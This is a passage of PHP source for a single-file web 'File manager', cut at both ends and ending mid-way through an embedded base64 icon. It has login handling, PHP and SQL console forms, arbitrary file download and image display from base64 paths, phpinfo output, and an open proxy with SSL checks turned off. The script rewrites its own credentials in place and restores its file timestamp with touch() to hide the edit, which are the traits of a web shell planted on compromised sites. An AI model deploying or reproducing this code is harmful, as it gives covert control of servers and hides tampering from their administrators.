			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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